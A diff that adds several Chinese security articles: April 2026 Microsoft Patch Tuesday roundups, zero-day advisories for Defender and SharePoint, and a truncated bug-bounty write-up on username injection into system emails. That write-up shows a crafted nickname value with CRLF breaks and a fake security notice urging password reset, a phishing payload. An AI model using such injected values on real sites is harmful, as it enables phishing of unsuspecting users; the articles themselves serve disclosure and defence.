+**已修复的关键RCE漏洞** + +在八个被评为"严重"级别的漏洞中，除了一个之外都是远程代码执行（RCE）漏洞，凸显了本月发布的重要性： +- CVE-2026-33827 – Windows TCP/IP远程代码执行漏洞 +- CVE-2026-33826 – Windows Active Directory远程代码执行漏洞 +- CVE-2026-33824 – Windows互联网密钥交换（IKE）服务扩展RCE +- CVE-2026-33115和CVE-2026-33114 – Microsoft Word远程代码执行（两个独立漏洞） +- CVE-2026-32190 – Microsoft Office远程代码执行漏洞 +- CVE-2026-32157 – 远程桌面客户端远程代码执行漏洞 +- CVE-2026-23666 – .NET Framework拒绝服务漏洞（严重级别） +Windows TCP/IP和Active Directory RCE漏洞尤其令人担忧，因为它们可以在某些配置下在网络层面被利用，无需用户交互。 + +本月的更新涵盖了广泛的Microsoft产品和服务，包括Windows内核（多个EoP漏洞）、Windows打印后台处理程序、Windows LSASS、Windows Hyper-V、远程桌面许可服务、Azure Monitor Agent、Azure Logic Apps、Microsoft SQL Server、SharePoint Server、PowerShell、GitHub Copilot和Visual Studio Code。 + +仅Windows UPnP设备主机组件就收到了多个EoP补丁，表明对Windows网络子系统的重点加固。 + +安全和IT团队应立即采取以下步骤： +- 将CVE-2026-32201（SharePoint）作为紧急补丁优先处理，鉴于已确认的利用行为 +- 处理CVE-2026-33825（Microsoft Defender），因其公开披露状态 +- 部署所有被评为"严重"级别的RCE补丁，特别是针对Windows TCP/IP、Active Directory和远程桌面客户端的补丁 +- 审查并修补.NET Framework和Office组件，以阻止本地和基于文档的攻击向量 +- 审计系统是否存在WSUS和BitLocker绕过漏洞（CVE-2026-32224、CVE-2026-27913），这些漏洞可能破坏更新交付和磁盘加密完整性 +[表格内容保持原格式，列出所有CVE编号、影响类型和描述] + +安全团队应尽快应用所有2026年4月补丁，其中CVE-2026-32201应作为最高优先级立即处理。 + +本公众号所载文章为本公众号原创或根据网络搜索下载编辑整理，文章版权归原作者所有，仅供读者学习、参考，禁止用于商业用途。因转载众多，无法找到真正来源，如标错来源，或对于文中所使用的图片、文字、链接中所包含的软件/资料等，如有侵权，请跟我们联系删除，谢谢！ + +![图片](https://mmbiz.qpic.cn/mmbiz_jpg/1QIbxKfhZo5lNbibXUkeIxDGJmD2Md5vKicbNtIkdNvibicL87FjAOqGicuxcgBuRjjolLcGDOnfhMdykXibWuH6DV1g/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&randomid=p6hk1x4r&tp=webp#imgIndex=1 "") + diff --git a/doc/2026-04/微软4月补丁星期二值得关注的漏洞.md b/doc/2026-04/微软4月补丁星期二值得关注的漏洞.md new file mode 100644 index 00000000..e4fcdbec --- /dev/null +++ b/doc/2026-04/微软4月补丁星期二值得关注的漏洞.md @@ -0,0 +1,126 @@ +# 微软4月补丁星期二值得关注的漏洞 +综合编译 + 综合编译 代码卫士 2026-04-15 10:19 + +![](https://mmbiz.qpic.cn/mmbiz_gif/Az5ZsrEic9ot90z9etZLlU7OTaPOdibteeibJMMmbwc29aJlDOmUicibIRoLdcuEQjtHQ2qjVtZBt0M5eVbYoQzlHiaw/640?wx_fmt=gif "") +   +聚焦源代码安全，网罗国内外最新资讯！ + +**编译：代码卫士** + +**微软4月补丁星期二共修复167个漏洞，其中包括2个0day漏洞。在这些漏洞中，8个为“严重”级别，其中7个是远程代码执行漏洞，另外一个是拒绝服务漏洞。** + + + + + + + + + + + + + + + + + + +这些漏洞共有93个提权漏洞，13个安全特性绕过漏洞，20个远程代码执行漏洞，21个信息泄露漏洞，10个拒绝服务漏洞和9个欺骗漏洞。 + + +![](https://mmbiz.qpic.cn/mmbiz_gif/t5z0xV2OYfXwLT6bMgQwnoLRcJmJU8rRRIvltVIVXIJQ9ZB30wQInFRiapH2Cjicicf484h3prx9ISA9p6kLf9srawRiaxiarZVciaAVyKXGCz618/640?wx_fmt=gif&from=appmsg "") + +**值得关注的漏洞** + + +![](https://mmbiz.qpic.cn/mmbiz_gif/t5z0xV2OYfXiacYP2IG0jGd1tg2Hiaf0xSHMOictfWyjMbkzUAd8Yux7x0Q9Gx7h9BOMjo0b0rC8PHLEG0PQC98XeogKLrXJ6d4Bt88fXicvl9M/640?wx_fmt=gif&from=appmsg "") + + +**** +**CVE-2026-32201** +是位于Microsoft SharePoint Server 中的欺骗漏洞。虽然微软披露的信息有限，但该欺骗漏洞通常表现为跨站脚本（XSS）问题。攻击者可借此查看或篡改信息。对于可联网的SharePoint服务器，建议尽快测试并部署修复程序。 + +**CVE-2026-33825****是位于Microsoft Defender 中的权限提升漏洞** +。该漏洞已公开披露，虽当前利用存在一定可靠性问题，但影响确凿。若依赖Defender进行防护，应尽快测试并部署修复。 + +**CVE-2026-33827****是位于Windows TCP/IP 中的远程代码执行漏洞。** +未认证的远程攻击者可在无需用户交互的情况下利用该漏洞，具备蠕虫传播特性（在启用IPv6与IPSec的系统上尤为明显）。尽管为竞争条件漏洞，CVSS可利用性评级为“高”，但此类漏洞在Pwn2Own中常被成功利用。若系统运行IPv6，建议在公开利用代码出现前迅速部署修复。 + +**CVE-2026-33824****是位于Windows Internet Key Exchange (IKE) 服务扩展中的远程代码执行漏洞。** +这是本月第二个具备蠕虫传播能力的漏洞。受影响系统需启用IKE服务。目前的缓解措施是在外围网络阻断UDP 500与4500端口以阻止外部攻击，但内部威胁仍可用于横向移动。使用IKE的企业应尽快测试并部署修复。 + +**** +**** + + 开源 +卫士试用地址： +https://oss.qianxin.com/#/login + + 代码卫士试用地址：https://sast.qianxin.com/#/login + + + + + + + + + +**推荐阅读** + +[微软3月补丁星期二值得关注的漏洞](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247525382&idx=1&sn=a2fde96ec371ca6512bbfc25b9f18f99&scene=21#wechat_redirect) + + +[微软2月补丁星期二值得关注的漏洞](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247525101&idx=2&sn=973a3ab33cfe6290521da6d90b4c743e&scene=21#wechat_redirect) + + +[微软：AI已用于攻击的每个阶段](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247525365&idx=2&sn=dff79e089be7ac2054e918366b567b52&scene=21#wechat_redirect) + + +[微软紧急修复已遭利用的 Office 0day 漏洞](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524977&idx=1&sn=60a6766757d720c5fdd8346ba3b98c0b&scene=21#wechat_redirect) + + +[微软2026年1月补丁星期二值得关注的漏洞](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524868&idx=1&sn=511dcdb0c6fcd3cd07ef7783b225bcf4&scene=21#wechat_redirect) + + + + + +**原文链接** + +https://www.bleepingcomputer.com/news/microsoft/microsoft-april-2026-patch-tuesday-fixes-167-flaws-2-zero-days/ + +https://www.zerodayinitiative.com/blog/2026/4/14/the-april-2026-security-update-review + + + +题图：Pixa +bay Licens +e + + +**本文由奇安信编译，不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。** + + + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/oBANLWYScMSf7nNLWrJL6dkJp7RB8Kl4zxU9ibnQjuvo4VoZ5ic9Q91K3WshWzqEybcroVEOQpgYfx1uYgwJhlFQ/640?wx_fmt=jpeg "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/oBANLWYScMSN5sfviaCuvYQccJZlrr64sRlvcbdWjDic9mPQ8mBBFDCKP6VibiaNE1kDVuoIOiaIVRoTjSsSftGC8gw/640?wx_fmt=jpeg "") + +**奇安信代码卫士 (codesafe)** + +国内首个专注于软件开发安全的产品线。 + +   ![](https://mmbiz.qpic.cn/mmbiz_gif/oBANLWYScMQ5iciaeKS21icDIWSVd0M9zEhicFK0rbCJOrgpc09iaH6nvqvsIdckDfxH2K4tu9CvPJgSf7XhGHJwVyQ/640?wx_fmt=gif "") +![]( "") + +  +觉得不错，就点个 “ +在看 +” 或 " +赞 +” 吧~ + diff --git a/doc/2026-04/微软Defender零日漏洞可导致权限提升攻击.md b/doc/2026-04/微软Defender零日漏洞可导致权限提升攻击.md new file mode 100644 index 00000000..994347f7 --- /dev/null +++ b/doc/2026-04/微软Defender零日漏洞可导致权限提升攻击.md @@ -0,0 +1,45 @@ +# 微软Defender零日漏洞可导致权限提升攻击 +原创 网络安全9527 + 网络安全9527 安全圈的那点事儿 2026-04-15 11:03 + +微软已于周二发布了补丁安全更新，以解决微软 Defender 反恶意软件平台中新发现的零日漏洞。   + +该漏洞于 2026 年 4 月 14 日披露，编号为 CVE-2026-33825，严重性评级为“重要”。 + +如果成功利用此权限提升漏洞，攻击者可以绕过标准权限，获得受影响机器上的完整 SYSTEM 权限。 +## Defender 0日漏洞 + +核心问题源于Microsoft Defender 反恶意软件平台中访问控制粒度不足 (CWE-1220) 。 + +该平台由用户模式二进制文件（例如 MsMpEng.exe）和内核模式驱动程序组成，旨在保护 Windows 设备。 + +由于访问控制存在漏洞，拥有基本本地访问权限的授权攻击者可以利用该漏洞将其权限提升到最高级别。 + +获取 SYSTEM 权限对组织安全构成严重威胁。攻击者可以利用此权限关闭安全工具、安装持久性恶意软件、访问敏感数据，并创建具有完整管理权限的新帐户。 + +根据微软 CVSS 3.1 评分，该漏洞的基本得分为 7.8。 + +该缺陷的主要技术特征包括： +- **攻击途径：**需要本地访问权限，这意味着攻击者必须已经对目标机器拥有立足点。 +- **攻击复杂度：**低，一旦获得本地访问权限，利用该漏洞相对容易执行。 +- **用户交互：**无需任何交互，允许漏洞利用程序静默运行，而不会诱骗用户点击链接或打开文件。 +- **所需权限：**低，这意味着只需一个标准的非管理员用户帐户即可触发权限提升。 +安全研究人员 Zen Dodd 和 Yuanpei Xu 向微软报告了该漏洞。虽然该漏洞的技术细节已公开，但微软指出，该漏洞尚未被实际利用。 + +然而，该公司评估认为，这种利用“更有可能”，这意味着威胁行为者预计很快就会开发和部署可用的漏洞利用代码。 + +有趣的是，企业级漏洞扫描器可能会标记出已禁用 Microsoft Defender 的系统。这是因为受影响的二进制文件仍然保留在硬盘上。 + +微软澄清说，禁用 Defender 的系统实际上并不处于可被利用的状态，但仍然建议进行更新。 +## 缓解措施 + +微软会定期更新恶意软件定义和底层平台，以抵御不断涌现的威胁。在大多数企业环境和家庭用户中，默认配置会自动下载并安装这些关键更新。 + +该漏洞影响平台版本 4.18.26020.6 及更早版本，已在版本 4.18.26030.3011 中完全修复。组织和用户应手动检查其更新状态，以确保获得全面保护。 + +**查看您当前的版本：** +- 使用 Windows 搜索栏打开 Windows 安全中心应用程序。 +- 导航至病毒和威胁防护部分。 +- 点击“保护更新”，然后选择“检查更新”。 +- 打开设置，选择“关于”，然后查看反恶意软件客户端版本。 +- 请确保您的版本号等于或大于 4.18.26030.3011。 diff --git a/doc/2026-04/微软确认SharePoint Server关键零日漏洞遭活跃攻击（CVE-2026-32201）.md b/doc/2026-04/微软确认SharePoint Server关键零日漏洞遭活跃攻击（CVE-2026-32201）.md new file mode 100644 index 00000000..fff83630 --- /dev/null +++ b/doc/2026-04/微软确认SharePoint Server关键零日漏洞遭活跃攻击（CVE-2026-32201）.md @@ -0,0 +1,76 @@ +# 微软确认SharePoint Server关键零日漏洞遭活跃攻击（CVE-2026-32201） +看雪学苑 + 看雪学苑 看雪学苑 2026-04-15 09:59 + +2026年4月14日，微软在月度安全更新周期中正式确认，其SharePoint Server存在一个高危零日欺骗漏洞， +该漏洞目前已在野外被威胁 actors 主动利用，对企业部署的SharePoint服务器构成显著安全风险。 + + +该漏洞追踪编号为CVE-2026-32201，影响多个版本的SharePoint Server，微软为其分配的CVSS基础评分为6.5（重要级别），结合官方修复程序已发布的情况，调整后的时间评分为6.0。从技术层面来看， +该漏洞根源在于Microsoft Office SharePoint的输入验证不当（CWE-20），这一缺陷使得未授权远程攻击者可通过网络发起欺骗攻击。 + + +从攻击特性来看，该漏洞的攻击向量为网络， +攻击复杂度低，且无需攻击者具备任何权限，也无需用户交互即可发起攻击， +为威胁 actors 针对企业SharePoint部署发起攻击提供了低门槛入口。根据微软安全公告， +攻击者成功利用该漏洞后，可查看部分敏感信息并篡改已泄露数据，但不会影响目标资源的可用性。 + + +值得注意的是，尽管该漏洞对机密性和完整性的单独影响评级为低，但结合“无需认证即可攻击”及“已确认被主动利用”两大特点，其实际落地风险被大幅提升。 +微软公告明确标注该漏洞为“已检测到利用”， +意味着在补丁发布前，野外已出现真实攻击行为；同时，漏洞利用代码已具备可操作性，且相关报告可信度为“确认”，这也使得该漏洞成为企业补丁更新的首要优先级。 + + +据悉，该漏洞在微软发布补丁前未被公开披露，推测威胁 actors 已将其武器化为真正的零日漏洞，在协同披露完成前便发起了攻击。针对这一情况，微软已于4月14日同步发布了三个受影响SharePoint Server版本的安全更新， +具体对应如下： +- SharePoint Server Subscription Edition — KB5002853，版本号16.0.19725.20210 + +- SharePoint Server 2019 — KB5002854，版本号16.0.10417.20114 + +- SharePoint Enterprise Server 2016 — KB5002861，版本号16.0.5548.1003 + +微软明确要求所有受影响产品的用户必须采取行动，鉴于该漏洞已被确认在野外利用，企业应将这些更新视为紧急补丁，立即部署安装。同时， +微软给出以下应急防护建议， +供技术人员参考执行： +- 立即为所有受影响的SharePoint Server版本安装对应安全更新； + +- 审计SharePoint Server访问日志，排查异常的网络欺骗行为及异常认证模式； + +- 在补丁安装完成前，尽可能限制面向外部的SharePoint实例访问； + +- 监控威胁情报源，关注与该漏洞主动利用相关的入侵指标（IOCs）； + +- 确保SharePoint Server实例未直接暴露在互联网中，需配备WAF规则、网络分段等多层防御措施。 + +作为全球应用最广泛的企业协作平台之一，SharePoint Server一直是国家级攻击者和经济动机威胁组织的高价值目标。协作工具中的欺骗漏洞，往往会被攻击者用作横向移动、凭证窃取或商业邮件妥协（BEC）类攻击的初始立足点。 + + +微软特别提醒， +运行本地SharePoint部署的企业，尤其是仍在使用2016或2019版本的组织，需优先处理该补丁更新，避免因漏洞被利用造成数据泄露或系统受损。 + + +资讯来源：Microsoft 2026年4月14日月度安全更新公告 + + + +﹀ + +﹀ + +﹀ + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/Uia4617poZXP96fGaMPXib13V1bJ52yHq9ycD9Zv3WhiaRb2rKV6wghrNa4VyFR2wibBVNfZt3M5IuUiauQGHvxhQrA/640?wx_fmt=jpeg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/1UG7KPNHN8Fjcl6q2ORwibt8PXPU5bLibE1yC1VFg5b1Fw8RncvZh2CWWiazpL6gPXp0lXED2x1ODLVNicsagibuxRw/640?wx_fmt=gif&from=appmsg "") + +**球分享** + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/1UG7KPNHN8Fjcl6q2ORwibt8PXPU5bLibE1yC1VFg5b1Fw8RncvZh2CWWiazpL6gPXp0lXED2x1ODLVNicsagibuxRw/640?wx_fmt=gif&from=appmsg "") + +**球点赞** + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/1UG7KPNHN8Fjcl6q2ORwibt8PXPU5bLibE1yC1VFg5b1Fw8RncvZh2CWWiazpL6gPXp0lXED2x1ODLVNicsagibuxRw/640?wx_fmt=gif&from=appmsg "") + +**球在看** + diff --git a/doc/2026-04/用户名 ∕ 昵称内容注入漏洞.md b/doc/2026-04/用户名 ∕ 昵称内容注入漏洞.md new file mode 100644 index 00000000..473a8925 --- /dev/null +++ b/doc/2026-04/用户名 ∕ 昵称内容注入漏洞.md @@ -0,0 +1,135 @@ +# 用户名 / 昵称内容注入漏洞 +原创 小帅安全 + 小帅安全 小帅安全 2026-04-15 13:53 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/F4N4AId99XcPAHeE5c9M5ZC1tUJ61B8W4HrbfCh3nRmfPJKNPicLbaABsbCbJKFI3n9GeDp89ap3a4wiamLnuSibzLXxU9aQcvYdC7NqOsVkQU/640?wx_fmt=png&from=appmsg "") + +免责声明 +``` +本公众号“小帅安全”旨在分享网络安全领域的相关知识，仅限于学习和研究之用。 +本公众号并不鼓励或支持任何非法活动。 +本公众号中提供的所有内容都是基于作者的经验和知识，并仅代表作者个人的观点和意见。这些观点和意见仅供参考，不构成任何形式的承诺或保证。 +本公众号不对任何人因使用或依赖本公众号提供的信息、工具或技术所造成的任何损失或伤害负责。 +本公众号提供的技术和工具仅限于学习和研究之用，不得用于非法活动。任何非法活动均与本公众号的立场和政策相违背，并将依法承担法律责任。 +本公众号不对使用本公众号提供的工具和技术所造成的任何直接或间接损失负责。 +使用者必须自行承担使用风险，同时对自己的行为负全部责任。 +本公众号保留随时修改或补充免责声明的权利，而不需事先通知。 +``` + +----往期推荐----- + +[EDU实战之巧用Google Hacking语法接管全站用户](https://mp.weixin.qq.com/s?__biz=MzY5MTE3ODE3Ng==&mid=2247483760&idx=1&sn=4aac2031ac62a4f8bf0ee40114874bc9&scene=21#wechat_redirect) + + +[一次从证书站到证书站的通杀](https://mp.weixin.qq.com/s?__biz=MzY5MTE3ODE3Ng==&mid=2247483799&idx=1&sn=366d6ac4c5c1fc7a4f6e482c5a9c194a&scene=21#wechat_redirect) + + +[EDU挖掘到的简单满分漏洞之Vue框架实战加资产收集语法](https://mp.weixin.qq.com/s?__biz=MzY5MTE3ODE3Ng==&mid=2247483745&idx=1&sn=210b474b3666c4b90564400c388ad46a&scene=21#wechat_redirect) + + +[最近挖到的几个存储桶相关的edu实战案例分享](https://mp.weixin.qq.com/s?__biz=MzY5MTE3ODE3Ng==&mid=2247483938&idx=1&sn=4e4a6dc0505e9bda8bef734290a5993a&scene=21#wechat_redirect) + + + + +这次分享的是一个关于用户名可控的漏洞 + +没有对用户输入的姓名字段做过滤和限制，导致邮箱发送的内容可控。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/F4N4AId99Xd7m3cOxkOJUo4QIV8aDAuvYpochGtV54ZANaCGuDGuSu7xRqOvrBRs0QYRYxkeZDSTw7mibFk8rNx1AEbBiaRfbiaiap2H5Q4vjEs/640?wx_fmt=png&from=appmsg "") + +危害  +## 钓鱼攻击： + +HTML注释或隐藏标签（如果支持HTML） + +姓名修改为：吴斌 + +\r\n\r\n【系统通知】您的账户存在安全风险，请立即点击链接重置密码，xxx统一认证